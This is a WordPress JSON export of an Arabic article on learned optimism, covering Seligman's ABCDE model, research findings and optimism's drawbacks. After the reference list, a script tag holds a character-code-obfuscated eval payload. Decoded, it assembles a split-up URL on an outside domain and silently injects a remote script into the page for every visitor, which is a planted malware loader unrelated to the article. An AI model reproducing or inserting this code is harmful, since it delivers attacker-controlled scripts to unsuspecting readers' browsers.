\u0645\u0646 \u0627\u0646\u062a\u0647\u0627\u0621 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c\u060c \u062b\u0645 \u0623\u062c\u0631\u064a\u062a \u062a\u0642\u064a\u064a\u0645\u0627\u062a \u0645\u0631\u0629 \u0643\u0644 \u0633\u062a \u0634\u0647\u0648\u0631 \u0637\u0648\u0627\u0644 \u0627\u0644\u0633\u0646\u0648\u0627\u062a \u0627\u0644\u062b\u0644\u0627\u062b \u0627\u0644\u062a\u0627\u0644\u064a\u0629\u060c \u0648\u062e\u0644\u0635\u062a \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0625\u0644\u0649 \u0623\u0646\u0647 \u0641\u064a \u0645\u062f\u0631\u0633\u062a\u064a\u0646 \u0645\u0646 \u0627\u0644\u0645\u062f\u0631\u0627\u0633 \u0627\u0644\u062b\u0644\u0627\u062b \u0648\u062c\u062f \u0623\u0646 (20%) \u0645\u0646 \u0641\u0642\u0637 \u0645\u0646 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0627\u0631\u062a\u0641\u0639\u062a \u0644\u062f\u064a\u0647\u0645 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u064a\u0629\u060c \u0648\u0623\u0646 (10%) \u0638\u0644\u062a \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0644\u062f\u064a\u0647\u0645 \u0628\u0635\u0648\u0631\u0629 \u0645\u0646\u062e\u0641\u0636\u0629\u060c \u0623\u0645\u0627 \u0628\u0642\u064a\u0629 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0641\u0642\u062f \u0627\u062e\u062a\u0641\u062a \u0644\u062f\u064a\u0647\u0645 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u064a\u0629.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u062a\u0639\u0632\u0632<\/strong> \u0647\u0630\u0647 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0641\u0643\u0631\u0629 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0645\u0643\u0646 \u062a\u0639\u0644\u0645\u0647 \u0639\u0628\u0631 \u0625\u0643\u0633\u0627\u0628 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a\u060c \u0645\u0645\u0627 \u064a\u0639\u0637\u064a \u0645\u0634\u0631\u0648\u0639\u064a\u0629 \u0648\u062c\u0648\u062f \u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u0644\u064a\u062c\u0645\u0627\u0646 \u0648\u0627\u0644\u0645\u062a\u0645\u062b\u0644\u0629 \u0641\u064a &#8220;\u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 Learned Optimism&#8221;\u060c \u0648 &#8220;\u0627\u0644\u0643\u0641\u0627\u0621\u0629 \u0627\u0644\u0645\u062a\u0639\u0644\u0645\u0629 Learned Competence&#8221; \u0641\u064a \u0645\u0642\u0627\u0628\u0644 &#8220;\u0627\u0644\u062a\u0634\u0627\u0624\u0645 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 Learned Pessimi<strong>sm<\/strong>&#8220;\u060c \u0648 &#8220;\u0627\u0644\u0639\u062c\u0632 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 Learned helplessness &#8220;.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #0000ff;\"><strong>\u0633\u0627\u062f\u0633\u064b\u0627- \u0646\u0645\u0648\u0630\u062c \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0627\u0644\u0645\u062a\u0639\u0644\u0645:<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\u0623\u0634\u0627\u0631 \u0633\u0644\u064a\u062c\u0645\u0627\u0646 \u0625\u0644\u0649 \u0623\u0646\u0647 \u0628\u0645\u0642\u062f\u0648\u0631\u0646\u0627 \u062c\u0645\u064a\u0639\u064b\u0627 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0646\u0638\u0631\u0629 \u0627\u0644\u062a\u0634\u0627\u0624\u0645\u064a\u0629 \u0627\u0644\u062a\u064a \u0642\u062f \u062a\u0643\u0648\u0646 \u0644\u062f\u0649 \u0627\u0644\u0628\u0639\u0636 \u0645\u0646\u0627\u060c \u0648\u0623\u0641\u0627\u062f \u0628\u0623\u0646 \u0643\u0644 \u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645\u064a\u0646 \u0644\u064a\u0633\u0648\u0627 \u0639\u0644\u0649 \u0646\u0641\u0633 \u0627\u0644\u062f\u0631\u062c\u0629 \u0645\u0646 \u0627\u0644\u062a\u0634\u0627\u0624\u0645\u060c \u0648\u0639\u0644\u064a\u0647 \u0641\u0625\u0646 \u0627\u0644\u062e\u0637\u0648\u0629 \u0627\u0644\u0623\u0648\u0644 \u0644\u062f\u0641\u0639 \u0627\u0644\u0630\u0627\u062a \u0641\u064a \u0645\u0633\u0627\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u062a\u062a\u0645\u062b\u0644 \u0641\u064a \u062a\u062d\u062f\u064a\u062f \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062a\u0642\u064a\u064a\u0645 \u0648\u0627\u0644\u0642\u064a\u0627\u0633 \u0627\u0644\u0646\u0641\u0633\u064a \u0628\u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0642\u064a\u0627\u0633 \u0627\u0644\u0645\u0642\u0646\u0646\u0629\u060c \u0648\u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0645\u0646\u062e\u0641\u0636\u064b\u0627 \u0641\u0625\u0646 \u0630\u0644\u0643 \u0644\u0627 \u064a\u0639\u0646\u064a \u0628\u0627\u0644\u0636\u0631\u0648\u0631\u0629 \u0623\u0646 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0645\u062a\u0634\u0627\u0626\u0645 \u0648\u064a\u062a\u0648\u0642\u0639 \u0627\u0644\u0623\u0633\u0648\u0623\u060c \u0648\u0643\u0644 \u0645\u0627 \u064a\u0639\u0646\u064a\u0647 \u0623\u0646 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0647\u0630\u0627 \u064a\u0645\u0643\u0646 \u062a\u062c\u0627\u0648\u0632\u0647 \u0648\u062a\u062d\u0633\u064a\u0646\u0647 \u0628\u0622\u0644\u064a\u0627\u062a \u0645\u0639\u064a\u0646\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u062a\u062a\u0645\u062b\u0644 \u0627\u0644\u062e\u0637\u0648\u0629 \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0627\u0644\u0645\u0633\u0627\u0631 \u0641\u064a \u0642\u064a\u0627\u0633 \u0631\u062f\u0648\u062f \u0641\u0639\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0644\u0644\u0645\u0648\u0627\u0642\u0641 \u0627\u0644\u0633\u0644\u0628\u064a\u0629\u060c \u0648\u0644\u062a\u062d\u0642\u064a\u0642 \u0647\u0630\u0647 \u0627\u0644\u063a\u0627\u064a\u0629 \u0627\u0633\u062a\u062e\u062f\u0645 \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u0644\u064a\u062c\u0645\u0627\u0646 \u0646\u0645\u0648\u0630\u062c ABC\u0644\u0623\u0644\u0628\u0631\u062a \u0623\u0644\u064a\u0633\u060c \u0648\u0623\u062f\u062e\u0644 \u0639\u0644\u064a\u0647 \u062a\u0639\u062f\u064a\u0644\u0627\u064b \u0628\u0625\u0636\u0627\u0641\u0629 \u0645\u0643\u0648\u0646\u064a\u0646 \u0623\u0633\u0627\u0633\u064a\u064a\u0646 \u0644\u0628\u064a\u0646\u062a\u0647 \u0641\u0635\u0627\u063a \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0646\u0645\u0648\u0630\u062c ABCDE \u0648\u064a\u0645\u0643\u0646 \u062a\u0648\u0636\u064a\u062d \u0645\u0643\u0648\u0646\u0627\u062a\u0647 \u0639\u0644\u0649 \u0627\u0644\u0646\u062d\u0648 \u0627\u0644\u062a\u0627\u0644\u064a:<\/p>\n<p><strong>&#8211; \u064a\u0634\u064a\u0631 \u0627\u0644\u062d\u0631\u0641 A \u0625\u0644\u0649 \u0627\u0644\u0623\u0632\u0645\u0629 \u0623\u0648 \u0627\u0644\u0645\u062d\u0646\u0629 \u0623\u0648 \u0627\u0644\u0634\u062f\u0629 Adversity: \u0623\u064a \u0627\u0644\u062d\u062f\u062b \u0627\u0644\u0630\u064a \u064a\u0633\u0628\u0628 \u0627\u0644\u0636\u063a\u0648\u0637 \u0623\u0648 \u0627\u0644\u0643\u0631\u0628 \u0648\u0627\u0644\u062a\u0639\u0627\u0633\u0629.<\/strong><\/p>\n<p><strong>&#8211; \u064a\u0634\u064a\u0631 \u0627\u0644\u062d\u0631\u0641 B \u0625\u0644\u0649 \u0627\u0644\u0627\u0639\u062a\u0642\u0627\u062f Belief \u0627\u0644\u0630\u064a \u064a\u0633\u062a\u0646\u062f \u0625\u0644\u064a\u0647 \u0648\u064a\u0646\u0637\u0644\u0642 \u0645\u0646\u0647 \u0627\u0644\u0634\u062e\u0635 \u0641\u064a \u062a\u0641\u0633\u064a\u0631 \u0630\u0644\u0643 \u0627\u0644\u062d\u062f\u062b.<\/strong><\/p>\n<p><strong>&#8211; \u064a\u0634\u064a\u0631 \u0627\u0644\u062d\u0631\u0641 C \u0625\u0644\u0649 \u0627\u0644\u0646\u0648\u0627\u062a\u062c \u0623\u0648 \u0627\u0644\u062a\u062f\u0627\u0639\u064a\u0627\u062a Consequence: \u0627\u0644\u0641\u0639\u0644 \u0627\u0644\u0646\u0627\u062a\u062c \u0639\u0646 \u0627\u0644\u0627\u0639\u062a\u0642\u0627\u062f \u0627\u0644\u0645\u0631\u062a\u0628\u0637 \u0628\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062d\u062f\u062b.<\/strong><\/p>\n<p><strong>&#8211; \u064a\u0634\u064a\u0631 \u0627\u0644\u062d\u0631\u0641 D \u0625\u0644\u0649 \u0627\u0644\u062a\u0641\u0646\u064a\u062f \u0623\u0648 \u0627\u0644\u062f\u062d\u0636 Disputation: \u0648\u064a\u0642\u0635\u062f \u0628\u0647 \u0627\u0644\u0623\u062f\u0644\u0629 \u0648\u0627\u0644\u0634\u0648\u0627\u0647\u062f \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0628\u0647\u0627 \u062a\u062d\u062f\u064a \u0623\u0648 \u062a\u0646\u0641\u064a\u062f \u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0627\u0644\u0645\u062a\u0639\u0644\u0642\u0629 \u0628\u0627\u0644\u0634\u062f\u0629 \u0648\u0627\u0644\u062a\u062f\u0627\u0639\u064a\u0627\u062a.<\/strong><\/p>\n<p><strong>&#8211; \u064a\u0634\u064a\u0631 \u0627\u0644\u062d\u0631\u0641 E \u0625\u0644\u0649 \u0627\u0644\u062a\u0632\u0643\u064a\u0629 \u0623\u0648 \u0627\u0644\u062a\u0642\u0648\u064a\u0629 Energizing: \u0648\u064a\u0642\u0635\u062f \u0628\u0647 \u062a\u062f\u0639\u064a\u0645 \u0627\u0644\u0634\u062e\u0635 \u0644\u0630\u0627\u062a\u0647 \u0648\u062a\u0642\u0648\u064a\u062a\u0647\u0627 \u0648\u0628\u062b \u0627\u0644\u0627\u0639\u062a\u0642\u0627\u062f \u0628\u0627\u0644\u0642\u062f\u0631\u0629 \u0648\u0627\u0644\u062c\u062f\u0627\u0631\u0629 \u0648\u0627\u0644\u062a\u0645\u0633\u0643 \u0628\u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u0648\u0627\u0644\u0633\u0644\u0648\u0643\u064a\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0644\u0644\u0634\u062f\u0629 \u0648\u0627\u0644\u0627\u0639\u062a\u0642\u0627\u062f \u0648\u0627\u0644\u062a\u0641\u0646\u064a\u062f.<\/strong><\/p>\n<p style=\"text-align: justify;\">\u0648\u0644\u0643\u064a \u062a\u062a\u0645 \u0631\u062d\u0644\u0629 \u0627\u0644\u062a\u063a\u064a\u0631 \u0627\u0644\u0648\u062c\u062f\u0627\u0646\u064a \u0627\u0644\u0641\u0639\u0627\u0644\u060c \u0639\u0644\u0649 \u0627\u0644\u0634\u062e\u0635 \u0623\u0646 \u064a\u0628\u062f\u0623 \u0628\u0648\u0635\u0641 \u0648\u062a\u062d\u0644\u064a\u0644 \u0648\u062a\u0641\u0633\u064a\u0631 \u0648\u062a\u0641\u0647\u0645 \u0627\u0639\u062a\u0642\u0627\u062f\u0627\u062a\u0647 \u0648\u0631\u062f\u0648\u062f \u0623\u0641\u0639\u0627\u0644\u0647 \u062a\u062c\u0627\u0647 \u0627\u0644\u062d\u062f\u062b \u0627\u0644\u0636\u0627\u063a\u0637 \u0623\u0648 \u0627\u0644\u0645\u062d\u0646\u0629 \u0623\u0648 \u0627\u0644\u0634\u062f\u0629 \u0623\u0648 \u0639\u062b\u0631\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0638\u0631\u0648\u0641\u0647\u0627 \u0627\u0644\u0639\u0635\u064a\u0628\u0629 <strong>adversity<\/strong>\u060c \u0648\u0645\u0646 \u0627\u0644\u0637\u0631\u0642 \u0627\u0644\u0641\u0639\u0627\u0644\u0629 \u0644\u0644\u0642\u064a\u0627\u0645 \u0628\u0630\u0644\u0643 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0648\u062b\u064a\u0642 \u0627\u0644\u0643\u062a\u0627\u0628\u064a \u0644\u0631\u062f\u0648\u062f \u0627\u0644\u0623\u0641\u0639\u0627\u0644 \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u064a\u0629 \u0623\u0648 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0644\u0647\u0630\u0647 \u0627\u0644\u0634\u062f\u0629 \u0623\u0648 \u0627\u0644\u0645\u062d\u0646\u0629\u060c \u0639\u0644\u0649 \u0623\u0646\u0651 \u064a\u0639\u0627\u062f \u0627\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0645\u0627 \u064a\u062a\u0645 \u062a\u0648\u062b\u064a\u0642\u0647 \u0643\u0644 \u0641\u062a\u0631\u0629.<\/p>\n<p style=\"text-align: justify;\">\u062b\u0645 \u0628\u0639\u062f \u0630\u0644\u0643 \u064a\u0645\u0627\u0631\u0633 \u0645\u0639 \u064a\u0639\u0631\u0641 \u0628\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0627\u0644\u062a\u0641\u0627\u0643\u0631 \u0623\u0648 \u0627\u0644\u0639\u0635\u0641 \u0627\u0644\u0630\u0647\u0646\u064a \u0644\u0643\u064a\u0641\u064a\u0629 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u0648\u0627\u0644\u0633\u0644\u0648\u0643\u064a\u0627\u062a \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0628\u0623\u062e\u0631\u0649 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0644\u062a\u0628\u062f\u0623 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u062f\u062d\u0636 \u0623\u0648 \u0627\u0644\u062a\u0641\u0646\u064a\u062f \u0648\u0641\u0642\u064b\u0627 \u0644\u0646\u0645\u0648\u0630\u062c \u0633\u0644\u064a\u062c\u0645\u0627\u0646\u060c \u0648\u0645\u0639 \u062a\u062a\u0627\u0644\u0649 \u062a\u0643\u0631\u0627\u0631 \u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u064a\u0628\u062f\u0623 \u0627\u0644\u0634\u062e\u0635 \u0641\u064a \u062a\u0639\u0644\u0645 \u0627\u0644\u062a\u0641\u0627\u0624\u0644.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0639\u0644\u0649 \u0627\u0644\u0631\u063a\u0645 \u0645\u0646 \u0627\u0644\u0633\u0647\u0648\u0644\u0629 \u0627\u0644\u0646\u0633\u0628\u064a\u0629 \u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0644\u0647\u0630\u0647 \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0625\u0644\u0627 \u0623\u0646\u0647\u0627 \u0644\u0627 \u062a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u064a\u0635\u0628\u062d \u0645\u062a\u0641\u0627\u0626\u0644\u0627\u064b \u0628\u064a\u0646 \u064a\u0648\u0645\u064d \u0648\u0644\u064a\u0644\u0629\u060c \u0625\u0646\u0647\u0627 \u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0645\u062a\u0648\u0627\u0635\u0644\u0629 \u0648\u0645\u062b\u0627\u0628\u0631\u0629 \u0637\u0648\u064a\u0644\u0629 \u0648\u0642\u062f \u062a\u062a\u0637\u0644\u0628 \u0644\u0644\u062a\u0645\u0643\u0646 \u0645\u0646\u0647\u0627 \u062c\u0644\u0633\u0627\u062a \u0625\u0631\u0634\u0627\u062f \u0648\u0639\u0644\u0627\u062c \u0646\u0641\u0633\u064a \u0623\u0648 \u0635\u064a\u063a \u062a\u062f\u062e\u0644 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0639\u0644\u0649 \u064a\u062f \u0627\u062e\u062a\u0635\u0627\u0635\u064a \u0646\u0641\u0633\u064a \u0645\u0624\u0647\u0644.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #0000ff;\">\u0633\u0627\u0628\u0639\u064b\u0627- \u062e\u0627\u062a\u0645\u0629 \u0648\u0627\u0633\u062a\u0646\u062a\u0627\u062c\u0627\u062a: \u0625\u0644\u0649 \u0623\u064a\u0646 \u0646\u0630\u0647\u0628 \u0645\u0646 \u0647\u0646\u0627\u061f Conclusions: Where do we go from here:<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u0623\u062c\u0631\u064a\u062a<\/strong> \u062f\u0631\u0627\u0633\u0627\u062a \u0643\u062b\u064a\u0631\u0629 \u0639\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u060c \u0648\u062e\u0644\u0635\u062a \u062c\u0645\u064a\u0639\u0647\u0627 \u0625\u0644\u0649 \u0623\u0646: \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0633\u0645\u0629 \u0623\u0648 \u062d\u0627\u0644\u0629 \u0633\u0648\u064a\u0629 \u0648\u0635\u062d\u064a\u0629 \u0648\u0625\u064a\u062c\u0627\u0628\u064a\u0629! \u0625\u0630 \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0648\u0646 \u064a\u0639\u064a\u0634\u0648\u0646 \u062d\u064a\u0627\u0629 \u0623\u0637\u0648\u0644\u060c \u0648\u0644\u062f\u064a\u0647\u0645 \u0623\u062c\u0647\u0632\u0629 \u0645\u0646\u0627\u0639\u064a\u0629 \u0648\u0638\u064a\u0641\u064a\u0629 \u0623\u0641\u0636\u0644\u060c \u0648\u064a\u062a\u0648\u0627\u0641\u0642\u0648\u0646 \u0628\u0635\u0648\u0631\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0648\u0641\u0639\u0627\u0644\u0629 \u0645\u0639 \u0627\u0644\u0638\u0631\u0648\u0641 \u0627\u0644\u0635\u0639\u0628\u0629 \u0648\u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u0636\u0627\u063a\u0637\u0629\u060c \u0648\u064a\u0643\u0648\u0646 \u0644\u062f\u064a\u0647\u0645 \u0623\u0637\u0641\u0627\u0644 \u0623\u0635\u062d\u0627\u0621 \u0628\u0635\u0648\u0631\u0629 \u0648\u0627\u0636\u062d\u0629.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u0645\u0639<\/strong> \u0630\u0644\u0643: \u0647\u0644 \u0644\u0644\u062a\u0641\u0627\u0624\u0644 \u0633\u0644\u0628\u064a\u0627\u062a\u061f \u0646\u0639\u0645 \u064a\u0648\u062c\u062f \u0644\u0643\u0646\u0647\u0627 \u0642\u0644\u064a\u0644\u0629 \u062c\u062f\u064b\u0627\u060c \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644 \u064a\u0648\u062c\u062f \u0628\u0639\u0636 \u0627\u0644\u0634\u0648\u0627\u0647\u062f \u0623\u0646\u0647 \u0641\u064a \u0638\u0631\u0648\u0641 \u0645\u0639\u064a\u0646\u0629 \u064a\u0624\u062f\u064a \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0625\u0644\u0649 \u0642\u0645\u0639 \u0627\u0644\u0648\u0638\u064a\u0641\u0629 \u0627\u0644\u0645\u0646\u0627\u0639\u064a\u0629.\u00a0 \u0625\u0630 \u064a\u0648\u062c\u062f \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0639\u064a\u0646\u0629 \u0645\u0646 \u0641\u0625\u0646 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0636\u063a\u0648\u0637 \u0648\u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0627\u0644\u0635\u0639\u0628\u0629 \u0645\u0639 \u0627\u0631\u062a\u0641\u0627\u0639 \u0645\u0647\u0627\u0645\u0644 \u0627\u0644\u0635\u0645\u0648\u062f \u064a\u0648\u062f\u064a \u0625\u0644\u0649 \u0625\u0636\u0639\u0627\u0641 \u0648\u0638\u0627\u0626\u0641 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 (Segerstrom&amp;Sephton, 2010; Segerstrom, 2006).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u0644\u0627<\/strong> \u064a\u0639\u0631\u0641 \u0633\u0628\u0628 \u0630\u0644\u0643 \u0639\u0644\u0649 \u0648\u062c\u0647 \u0627\u0644\u064a\u0642\u064a\u0646\u060c \u0648\u0645\u0639 \u0630\u0644\u0643 \u0645\u0646 \u0627\u0644\u062a\u0641\u0633\u064a\u0631\u0627\u062a \u0627\u0644\u0645\u062d\u062a\u0645\u0644\u0629 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0625\u0630\u0627 \u0627\u0642\u062a\u0631\u0646 \u0628\u062a\u0639\u062f\u062f \u0641\u064a \u0645\u0635\u0627\u062f\u0631 \u0627\u0644\u0636\u063a\u0648\u0637 \u0632\u064a\u0627\u062f\u0629 \u0641\u064a \u0634\u062f\u062a\u0647\u0627 \u064a\u0648\u0642\u0639 \u0627\u0644\u0634\u062e\u0635 \u0641\u064a \u0627\u0644\u0627\u0631\u062a\u0628\u0627\u0643 \u0648\u0633\u0648\u0621 \u0627\u0644\u062a\u0642\u062f\u064a\u0631.<\/p>\n<p style=\"text-align: justify;\">\u064a\u0636\u0627\u0641 \u0625\u0644\u0649 \u0630\u0644\u0643 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0642\u062f \u064a\u0631\u062a\u0628\u0637 \u0628\u0633\u0644\u0648\u0643\u064a\u0627\u062a \u0635\u062d\u064a\u0629 \u0644\u0647\u0627 \u0646\u0648\u0627\u062a\u062c \u0633\u0644\u0628\u064a\u0629\u060c \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644\u060c \u062a\u0648\u0635\u0644\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0629 (Goodman, Chesney, &amp; Tipton, 1995) \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0641\u062a\u064a\u0627\u062a \u0627\u0644\u0645\u0631\u0627\u0647\u0642\u0627\u062a \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0627\u062a \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0623\u0642\u0631\u0627\u0646\u0647\u0646 \u0627\u0644\u0623\u0642\u0644 \u062a\u0641\u0627\u0624\u0644\u0627\u064b \u0623\u0642\u0644 \u0633\u0639\u064a\u064b\u0627 \u0644\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0639\u0646 \u062a\u0642\u064a\u064a\u0645 \u0645\u0631\u0636 \u0646\u0642\u0635 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u0645\u0643\u062a\u0633\u0628.<\/p>\n<p><strong>\u0644\u0644\u0645\u0632\u064a\u062f \u0631\u0627\u062c\u0639:<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Pursuit of Happiness, Inc. (2016). Optimism: <a href=\"http:\/\/www.pursuit-of-happiness.org\/science-of-happiness\/positive-thinking\/\">http:\/\/www.pursuit-of-happiness.org\/science-of-happiness\/positive-thinking\/<\/a><\/li>\n<\/ul>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623.\u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629| \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629\u060c \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631 \u0623\u0648\u0644\u0627\u064b- \u0645\u0642\u062f\u0645\u0629: \u0627\u0644\u062a\u0641\u0627\u0624\u0644 Optimism \u0633\u0645\u0629 \u0634\u062e\u0635\u064a\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u064a\u0646\u0638\u0631 \u0625\u0644\u064a\u0647\u0627 \u0643\u062b\u064a\u0631\u064f \u0645\u0646 \u0627\u0644\u0646\u0627\u0633 \u0639\u0644\u0649 \u0623\u0646\u0647\u0627 \u0645\u0624\u0634\u0631\u064b\u0627 \u062c\u0648\u0647\u0631\u064a\u064b\u0627 